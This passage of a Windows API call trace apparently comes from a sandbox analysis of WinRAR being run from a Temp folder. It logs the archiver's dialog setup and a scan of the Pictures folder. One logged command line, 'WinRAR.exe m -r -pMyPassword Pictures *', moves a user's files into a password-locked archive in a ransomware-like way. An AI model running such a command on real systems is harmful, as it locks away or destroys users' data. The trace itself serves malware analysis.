returned 1 [0060.951] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Preparing files...") returned 18 [0060.951] SetWindowTextW (hWnd=0x102be, lpString="Preparing files...") returned 1 [0060.952] GetSystemMetrics (nIndex=8) returned 3 [0060.952] GetWindow (hWnd=0x102be, uCmd=0x5) returned 0x102c0 [0060.952] GetWindowTextW (in: hWnd=0x102c0, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102c0, uCmd=0x2) returned 0x102c2 [0060.952] GetWindowTextW (in: hWnd=0x102c2, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102c2, uCmd=0x2) returned 0x102c4 [0060.952] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102c4, uCmd=0x2) returned 0x102c6 [0060.952] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102c6, uCmd=0x2) returned 0x102c8 [0060.952] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102c8, uCmd=0x2) returned 0x102ca [0060.952] GetWindowTextW (in: hWnd=0x102ca, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102ca, uCmd=0x2) returned 0x102cc [0060.952] GetWindowTextW (in: hWnd=0x102cc, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.952] GetWindow (hWnd=0x102cc, uCmd=0x2) returned 0x102ce [0060.952] GetWindowTextW (in: hWnd=0x102ce, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Elapsed time") returned 12 [0060.952] SetWindowTextW (hWnd=0x102ce, lpString="Elapsed time") returned 1 [0060.953] GetWindow (hWnd=0x102ce, uCmd=0x2) returned 0x102d0 [0060.953] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.953] GetWindow (hWnd=0x102d0, uCmd=0x2) returned 0x102d2 [0060.953] GetWindowTextW (in: hWnd=0x102d2, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Time left") returned 9 [0060.953] SetWindowTextW (hWnd=0x102d2, lpString="Time left") returned 1 [0060.953] GetWindow (hWnd=0x102d2, uCmd=0x2) returned 0x102d4 [0060.953] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.953] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x102d6 [0060.953] GetWindowTextW (in: hWnd=0x102d6, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.953] GetWindow (hWnd=0x102d6, uCmd=0x2) returned 0x102d8 [0060.953] GetWindowTextW (in: hWnd=0x102d8, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Compression ratio") returned 17 [0060.953] SetWindowTextW (hWnd=0x102d8, lpString="Compression ratio") returned 1 [0060.953] GetWindow (hWnd=0x102d8, uCmd=0x2) returned 0x102da [0060.953] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.953] GetWindow (hWnd=0x102da, uCmd=0x2) returned 0x102dc [0060.953] GetWindowTextW (in: hWnd=0x102dc, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Processed") returned 9 [0060.953] SetWindowTextW (hWnd=0x102dc, lpString="Processed") returned 1 [0060.953] GetWindow (hWnd=0x102dc, uCmd=0x2) returned 0x102de [0060.953] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.953] GetWindow (hWnd=0x102de, uCmd=0x2) returned 0x102e0 [0060.953] GetWindowTextW (in: hWnd=0x102e0, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="") returned 0 [0060.953] GetWindow (hWnd=0x102e0, uCmd=0x2) returned 0x102e2 [0060.953] GetWindowTextW (in: hWnd=0x102e2, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="&Background") returned 11 [0060.953] SetWindowTextW (hWnd=0x102e2, lpString="&Background") returned 1 [0060.953] GetWindow (hWnd=0x102e2, uCmd=0x2) returned 0x102e4 [0060.953] GetWindowTextW (in: hWnd=0x102e4, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="&Pause") returned 6 [0060.953] SetWindowTextW (hWnd=0x102e4, lpString="&Pause") returned 1 [0060.953] GetWindow (hWnd=0x102e4, uCmd=0x2) returned 0x102e6 [0060.953] GetWindowTextW (in: hWnd=0x102e6, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0060.953] SetWindowTextW (hWnd=0x102e6, lpString="Cancel") returned 1 [0060.953] GetWindow (hWnd=0x102e6, uCmd=0x2) returned 0x102e8 [0060.953] GetWindowTextW (in: hWnd=0x102e8, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="&Mode...") returned 8 [0060.953] SetWindowTextW (hWnd=0x102e8, lpString="&Mode...") returned 1 [0060.953] GetWindow (hWnd=0x102e8, uCmd=0x2) returned 0x102ea [0060.953] GetWindowTextW (in: hWnd=0x102ea, lpString=0xf00f8f2600, nMaxCount=1024 | out: lpString="Help") returned 4 [0060.953] SetWindowTextW (hWnd=0x102ea, lpString="Help") returned 1 [0060.954] GetWindow (hWnd=0x102ea, uCmd=0x2) returned 0x0 [0060.954] IsWindowVisible (hWnd=0x102be) returned 0 [0060.954] GetParent (hWnd=0x102be) returned 0x0 [0060.954] IsWindowVisible (hWnd=0x0) returned 0 [0060.954] GetDesktopWindow () returned 0x10010 [0060.954] GetWindowRect (in: hWnd=0x10010, lpRect=0xf00f8f3dd8 | out: lpRect=0xf00f8f3dd8) returned 1 [0060.954] GetWindowRect (in: hWnd=0x102be, lpRect=0xf00f8f3de8 | out: lpRect=0xf00f8f3de8) returned 1 [0060.954] GetWindowLongPtrW (hWnd=0x102be, nIndex=-16) returned 0x84ca08cc [0060.954] SetWindowPos (hWnd=0x102be, hWndInsertAfter=0x0, X=565, Y=314, cx=0, cy=0, uFlags=0x215) returned 1 [0060.955] SendMessageW (hWnd=0x102be, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0060.955] GetSystemMenu (hWnd=0x102be, bRevert=0) returned 0x10291 [0060.955] EnableMenuItem (hMenu=0x10291, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0060.955] EnableMenuItem (hMenu=0x10291, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0060.955] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0060.955] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x102be, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x102ec [0060.958] GetWindowRect (in: hWnd=0x102c6, lpRect=0xf00f8f3e08 | out: lpRect=0xf00f8f3e08) returned 1 [0060.958] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x102be, lpPoints=0xf00f8f3e08, cPoints=0x2 | out: lpPoints=0xf00f8f3e08) returned -22217272 [0060.958] SendMessageW (hWnd=0x102ec, Msg=0x432, wParam=0x0, lParam=0xf00f8f3df0) returned 0x1 [0060.959] GetDlgItem (hDlg=0x102be, nIDDlgItem=165) returned 0x102c2 [0060.959] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x102be, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x102ee [0060.962] GetWindowRect (in: hWnd=0x102c2, lpRect=0xf00f8f3e08 | out: lpRect=0xf00f8f3e08) returned 1 [0060.962] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x102be, lpPoints=0xf00f8f3e08, cPoints=0x2 | out: lpPoints=0xf00f8f3e08) returned -22217272 [0060.962] SendMessageW (hWnd=0x102ee, Msg=0x432, wParam=0x0, lParam=0xf00f8f3df0) returned 0x1 [0060.962] IsWindowVisible (hWnd=0x10246) returned 0 [0060.962] IsIconic (hWnd=0x10246) returned 0 [0060.962] GetWindowPlacement (in: hWnd=0x102be, lpwndpl=0xf00f8f42a0 | out: lpwndpl=0xf00f8f42a0) returned 1 [0060.962] SetWindowPlacement (hWnd=0x10246, lpwndpl=0xf00f8f42a0) returned 1 [0060.962] NtdllDefWindowProc_W () returned 0x0 [0060.962] NtdllDefWindowProc_W () returned 0x0 [0060.962] NtdllDefWindowProc_W () returned 0x0 [0060.963] NtdllDefWindowProc_W () returned 0x1 [0060.963] NtdllDefWindowProc_W () returned 0x0 [0060.963] NtdllDefWindowProc_W () returned 0x0 [0060.963] GetClientRect (in: hWnd=0x10246, lpRect=0xf00f8f0d30 | out: lpRect=0xf00f8f0d30) returned 1 [0060.963] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0cd0 | out: lpRect=0xf00f8f0cd0) returned 0 [0060.963] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0cd0 | out: lpRect=0xf00f8f0cd0) returned 0 [0060.963] MoveWindow (hWnd=0x102b8, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.964] IsIconic (hWnd=0x10246) returned 0 [0060.964] GetClientRect (in: hWnd=0x10246, lpRect=0xf00f8f0cb0 | out: lpRect=0xf00f8f0cb0) returned 1 [0060.964] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0c50 | out: lpRect=0xf00f8f0c50) returned 0 [0060.964] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0c50 | out: lpRect=0xf00f8f0c50) returned 0 [0060.964] MoveWindow (hWnd=0x102b8, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.964] IsIconic (hWnd=0x10246) returned 0 [0060.964] GetClientRect (in: hWnd=0x10246, lpRect=0xf00f8f0cc0 | out: lpRect=0xf00f8f0cc0) returned 1 [0060.964] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0c60 | out: lpRect=0xf00f8f0c60) returned 0 [0060.964] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0c60 | out: lpRect=0xf00f8f0c60) returned 0 [0060.965] MoveWindow (hWnd=0x102b8, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.965] IsIconic (hWnd=0x10246) returned 0 [0060.965] GetClientRect (in: hWnd=0x10246, lpRect=0xf00f8f0c40 | out: lpRect=0xf00f8f0c40) returned 1 [0060.965] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0be0 | out: lpRect=0xf00f8f0be0) returned 0 [0060.965] GetWindowRect (in: hWnd=0x0, lpRect=0xf00f8f0be0 | out: lpRect=0xf00f8f0be0) returned 0 [0060.965] MoveWindow (hWnd=0x102b8, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0060.966] NtdllDefWindowProc_W () returned 0x1 [0060.966] CreatePen (iStyle=0, cWidth=1, color=0x606060) returned 0x53007ce [0060.966] CreatePen (iStyle=0, cWidth=1, color=0x80809e) returned 0x3007cf [0060.966] CreatePen (iStyle=0, cWidth=1, color=0xeee8e8) returned 0x3007d0 [0060.966] CreatePen (iStyle=0, cWidth=1, color=0xffffff) returned 0x3007d1 [0060.966] CreatePen (iStyle=0, cWidth=1, color=0xc0ffff) returned 0x3007d2 [0060.966] CreatePen (iStyle=0, cWidth=1, color=0xb4d4e4) returned 0x3007d3 [0060.966] CreatePen (iStyle=0, cWidth=1, color=0x9494b4) returned 0x3007d4 [0060.967] CreatePen (iStyle=0, cWidth=1, color=0x464040) returned 0x3007d5 [0060.967] CreateSolidBrush (color=0x6e6e94) returned 0x1007d6 [0060.967] CreateSolidBrush (color=0xdcd6d6) returned 0x1007d7 [0060.967] CreateSolidBrush (color=0xa0c0d0) returned 0x1007d8 [0060.967] PostMessageW (hWnd=0x102be, Msg=0x8008, wParam=0x0, lParam=0x1) returned 1 [0060.968] GetSystemMetrics (nIndex=49) returned 16 [0060.968] GetSystemMetrics (nIndex=50) returned 16 [0060.968] LoadImageW (hInst=0x7ff6f74d0000, name=0x65, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x10293 [0060.969] SendMessageW (hWnd=0x102be, Msg=0x80, wParam=0x0, lParam=0x10293) returned 0x0 [0060.969] GetSystemMetrics (nIndex=11) returned 32 [0060.969] GetSystemMetrics (nIndex=12) returned 32 [0060.969] LoadImageW (hInst=0x7ff6f74d0000, name=0x65, type=0x1, cx=32, cy=32, fuLoad=0x0) returned 0x10295 [0060.970] SendMessageW (hWnd=0x102be, Msg=0x80, wParam=0x1, lParam=0x10295) returned 0x0 [0060.970] GetStartupInfoW (in: lpStartupInfo=0xf00f8f5c20 | out: lpStartupInfo=0xf00f8f5c20*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x100ec0002)) [0060.971] ShowWindow (hWnd=0x102be, nCmdShow=5) returned 0 [0060.971] GetWindowLongPtrW (hWnd=0x102be, nIndex=-16) returned 0x84ca08cc [0060.971] NtdllDefWindowProc_W () returned 0x0 [0061.380] SetDlgItemTextW (hDlg=0x102be, nIDDlgItem=165, lpString="Pictures.rar") returned 1 [0061.487] GetWindowTextW (in: hWnd=0x102be, lpString=0x7ff6f7672480, nMaxCount=2176 | out: lpString="Preparing files...") returned 18 [0061.487] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8f57d0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0061.487] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0061.487] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8f4380, nMaxCount=2560 | out: lpString="") returned 0 [0061.487] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0061.487] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8f4380, nMaxCount=2560 | out: lpString="") returned 0 [0061.487] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.487] GetTickCount () returned 0x254cd [0061.487] UpdateWindow (hWnd=0x102be) returned 1 [0061.488] GetPropW (hWnd=0x102be, lpString="Done") returned 0x0 [0061.488] BeginPaint (in: hWnd=0x102be, lpPaint=0xf00f8f3b10 | out: lpPaint=0xf00f8f3b10) returned 0x24010806 [0061.488] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.488] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8f31c0 | out: lpPerformanceCount=0xf00f8f31c0*=15281653057) returned 1 [0061.488] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.488] GetLastError () returned 0x2 [0061.488] SetLastError (dwErrCode=0x2) [0061.488] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0061.488] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0061.488] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8f1da0, nMaxCount=2560 | out: lpString="") returned 0 [0061.488] SetWindowTextW (hWnd=0x102c8, lpString=" 0%") returned 1 [0061.492] ShowWindow (hWnd=0x102ca, nCmdShow=9) returned 0 [0061.493] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0061.494] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8f31c0 | out: lpPerformanceCount=0xf00f8f31c0*=15282303572) returned 1 [0061.495] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8f31d8 | out: ppv=0xf00f8f31d8*=0x28b084fb3c0) returned 0x0 [0062.064] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b084fb3c0, hwnd=0x102be, tbpFlags=2) returned 0x0 [0062.065] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b084fb3c0, hwnd=0x102be, ullCompleted=0x0, ullTotal=0x1) returned 0x0 [0062.065] TaskbarList:IUnknown:Release (This=0x28b084fb3c0) returned 0x0 [0062.065] GetLastError () returned 0x7f [0062.065] SetLastError (dwErrCode=0x7f) [0062.065] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0062.065] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0062.065] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8f1da0, nMaxCount=2560 | out: lpString="") returned 0 [0062.065] SetWindowTextW (hWnd=0x102de, lpString=" 0%") returned 1 [0062.071] GetLastError () returned 0x0 [0062.071] SetLastError (dwErrCode=0x0) [0062.071] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0062.071] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8f1da0, nMaxCount=2560 | out: lpString="") returned 0 [0062.071] SetWindowTextW (hWnd=0x102da, lpString=" 0%") returned 1 [0062.072] ShowWindow (hWnd=0x102e0, nCmdShow=9) returned 0 [0062.073] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0062.077] EndPaint (hWnd=0x102be, lpPaint=0xf00f8f3b10) returned 1 [0062.097] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x40) returned 0x28b084f8f30 [0062.097] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x33608) returned 0x28b0a1fbfd0 [0062.099] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x100000) returned 0x28b0b70c040 [0062.101] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10c0) returned 0x28b084fe2e0 [0062.101] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10c0) returned 0x28b084ff3b0 [0062.103] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1010) returned 0x28b08502740 [0062.103] FindFirstFileW (in: lpFileName="*", lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 0x28b084f6f90 [0062.104] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.104] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="17Kei.bmp", cchCount2=-1) returned 3 [0062.104] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xc00) returned 0x28b08500480 [0062.104] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x14) returned 0x28b084ee0e0 [0062.104] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="1Uee5Fu 2XCwi8fG.gif", cchCount2=-1) returned 3 [0062.104] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2a) returned 0x28b084d69d0 [0062.242] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="5qnTEjfG9KjtBUIojvlC.png", cchCount2=-1) returned 3 [0062.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x32) returned 0x28b084d6390 [0062.242] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="6xi8hATC8ep.gif", cchCount2=-1) returned 3 [0062.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084fb270 [0062.242] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="7ZwWGMcIaUjWjMVJAe.jpg", cchCount2=-1) returned 3 [0062.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2e) returned 0x28b084d6dd0 [0062.242] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="8eYKFrOBbq-TuX.bmp", cchCount2=-1) returned 3 [0062.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x26) returned 0x28b084fb450 [0062.242] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="9BtQRHA1y.gif", cchCount2=-1) returned 3 [0062.242] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1c) returned 0x28b084faf70 [0062.243] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="A4ii4MOpBgpQwQBT.jpg", cchCount2=-1) returned 3 [0062.243] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2a) returned 0x28b084d6310 [0062.243] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="aHz4Hx-PBeuX.png", cchCount2=-1) returned 3 [0062.243] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x22) returned 0x28b084fb2a0 [0062.243] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="awTUht89JcK2K D7j9i.png", cchCount2=-1) returned 3 [0062.243] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d50 [0062.243] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="c9ZaReaCiTG.png", cchCount2=-1) returned 3 [0062.243] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084fb2d0 [0062.243] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.243] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Camera Roll", cchCount2=-1) returned 3 [0062.243] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x18) returned 0x28b084ee0a0 [0062.243] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1010) returned 0x28b08504770 [0062.243] FindFirstFileW (in: lpFileName="Camera Roll\\*", lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 0x28b084f6090 [0062.244] FindNextFileW (in: hFindFile=0x28b084f6090, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.244] FindNextFileW (in: hFindFile=0x28b084f6090, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0062.244] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6f90 [0062.244] FindNextFileW (in: hFindFile=0x28b084f6090, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 0 [0062.244] GetLastError () returned 0x12 [0062.244] FindClose (in: hFindFile=0x28b084f6090 | out: hFindFile=0x28b084f6090) returned 1 [0062.244] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08504770 | out: hHeap=0x28b08430000) returned 1 [0062.244] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.244] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="Cg4L5J0Hp5g.bmp", cchCount2=-1) returned 3 [0062.244] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084fb300 [0062.244] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0062.245] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x18) returned 0x28b084ee140 [0062.245] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="dw0z-rObH0-zF2.png", cchCount2=-1) returned 3 [0062.245] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x26) returned 0x28b084fb330 [0062.245] FindNextFileW (in: hFindFile=0x28b084f6f90, lpFindFileData=0xf00f8d3020 | out: lpFindFileData=0xf00f8d3020) returned 1 [0062.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Pictures.rar", cchCount1=-1, lpString2="FiPd_4qvOx8j.jpg", cchCount2=-1) returned 3 [0062.245] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.245] GetLastError () returned 0x12 [0062.245] SetLastError (dwErrCode=0x12) [0062.245] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8d4650, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.246] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0062.246] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8d3200, nMaxCount=2560 | out: lpString="") returned 0 [0062.246] SetWindowTextW (hWnd=0x102c4, lpString="15 files found") returned 1 [0062.246] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0062.246] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8d3200, nMaxCount=2560 | out: lpString="") returned 0 [0062.246] GetTickCount () returned 0x257ca [0062.246] UpdateWindow (hWnd=0x102be) returned 1 [0062.246] PeekMessageW (in: lpMsg=0xf00f8d49f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8d49f0) returned 1 [0062.250] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="MENUACC") returned 0x20339 [0062.250] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="LISTACC") returned 0x4031d [0062.250] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="FILEACC") returned 0x1033b [0062.250] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="VIEWACC") returned 0x1033d [0062.250] GetMessageW 